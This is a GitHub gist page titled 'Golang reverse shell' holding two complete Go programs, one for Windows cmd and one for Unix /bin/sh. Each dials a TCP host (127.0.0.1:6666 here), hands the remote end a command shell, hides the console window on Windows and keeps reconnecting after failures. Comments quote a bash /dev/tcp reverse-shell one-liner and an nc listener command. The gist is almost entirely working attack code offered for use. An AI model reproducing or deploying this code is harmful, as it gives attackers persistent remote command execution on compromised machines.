-
-
Save hdbreaker/39f02f97e31b5dc755f1c86bbfdace19 to your computer and use it in GitHub Desktop.
Golang reverse shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// +build windows | |
// Reverse Windows CMD | |
// Test with nc -lvvp 6666 | |
package main | |
import ( | |
"bufio" | |
"net" | |
"os/exec" | |
"syscall" | |
"time" | |
) | |
func main() { | |
reverse("127.0.0.1:6666") | |
} | |
func reverse(host string) { | |
c, err := net.Dial("tcp", host) | |
if nil != err { | |
if nil != c { | |
c.Close() | |
} | |
time.Sleep(time.Minute) | |
reverse(host) | |
} | |
r := bufio.NewReader(c) | |
for { | |
order, err := r.ReadString('\n') | |
if nil != err { | |
c.Close() | |
reverse(host) | |
return | |
} | |
cmd := exec.Command("cmd", "/C", order) | |
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} | |
out, _ := cmd.CombinedOutput() | |
c.Write(out) | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//go:generate sh -c "CGO_ENABLED=0 go build -installsuffix netgo -tags netgo -ldflags \"-s -w -extldflags '-static'\" -o $DOLLAR(basename ${GOFILE} .go)`go env GOEXE` ${GOFILE}" | |
// +build !windows | |
// Reverse Shell in Go | |
// http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet | |
// Test with nc -lvvp 6666 | |
package main | |
import ( | |
"net" | |
"os/exec" | |
"time" | |
) | |
func main() { | |
reverse("127.0.0.1:6666") | |
} | |
// bash -i >& /dev/tcp/localhost/6666 0>&1 | |
func reverse(host string) { | |
c, err := net.Dial("tcp", host) | |
if nil != err { | |
if nil != c { | |
c.Close() | |
} | |
time.Sleep(time.Minute) | |
reverse(host) | |
} | |
cmd := exec.Command("/bin/sh") | |
cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c | |
cmd.Run() | |
c.Close() | |
reverse(host) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment